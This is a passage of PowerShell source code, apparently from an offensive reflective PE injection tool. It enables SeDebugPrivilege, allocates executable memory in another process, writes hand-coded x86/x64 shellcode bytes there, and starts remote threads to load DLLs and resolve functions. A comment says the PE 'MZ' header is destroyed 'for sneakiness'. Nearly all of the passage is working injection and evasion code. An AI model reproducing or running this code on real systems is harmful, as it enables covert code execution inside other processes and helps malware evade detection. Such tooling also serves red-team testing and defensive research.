if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Create-RemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,
[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
$OSVersion = [Environment]::OSVersion.Version
#Vista and Win7
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
#Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
#XP/Win8
else
{
#Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
}
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
}
return $RemoteThreadHandle
}
Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$NtHeadersInfo = New-Object System.Object
#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
#Get IMAGE_NT_HEADERS
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
if ($imageNtHeaders64.Signature -ne 0x00004550)
{
throw "Invalid IMAGE_NT_HEADER signature."
}
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}
return $NtHeadersInfo
}
#This function will get the information needed to allocated space in memory for the PE
Function Get-PEBasicInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$PEInfo = New-Object System.Object
#Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
#Get NtHeadersInfo
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
#Build a structure with the information which will be needed for allocating memory and writing the PE to memory
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
#Free the memory allocated above, this isn't where we allocate the PE to memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
return $PEInfo
}
#PEInfo must contain the following NoteProperties:
# PEHandle: An IntPtr to the address the PE is loaded to in memory
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}
$PEInfo = New-Object System.Object
#Get NtHeaders information
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
#Build the PEInfo object
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
Throw "PE file is not an EXE or DLL"
}
return $PEInfo
}
Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
[IntPtr]$DllAddress = [IntPtr]::Zero
#For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
# Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
if ($PEInfo.PE64Bit -eq $true)
{
#Allocate memory for the address returned by LoadLibraryA
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}
#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
else
{
[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}
[IntPtr]$DllAddress = [IntPtr]$ExitCode
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $DllAddress
}
Function Get-RemoteProcAddress
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$RemoteDllHandle,
[Parameter(Position=2, Mandatory=$true)]
[IntPtr]
$FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
[Parameter(Position=3, Mandatory=$true)]
[Bool]
$LoadByOrdinal
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
#If not loading by ordinal, write the function name to the remote process memory
if (-not $LoadByOrdinal)
{
$FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
#Write FunctionName to memory (will be used in GetProcAddress)
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RFuncNamePtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($FunctionNameSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
}
#If loading by ordinal, just set RFuncNamePtr to be the ordinal number
else
{
$RFuncNamePtr = $FunctionNamePtr
}
#Get address of GetProcAddress
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
#Allocate memory for the address returned by GetProcAddress
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
}
#Write Shellcode to the remote process which will call GetProcAddress
#Shellcode: GetProcAddress.asm
[Byte[]]$GetProcAddressSC = @()
if ($PEInfo.PE64Bit -eq $true)
{
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$GetProcAddressSC2 = @(0x48, 0xba)
$GetProcAddressSC3 = @(0x48, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
$GetProcAddressSC2 = @(0xb9)
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
#Cleanup remote process memory
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
if (-not $LoadByOrdinal)
{
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
return $ProcAddress
}
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
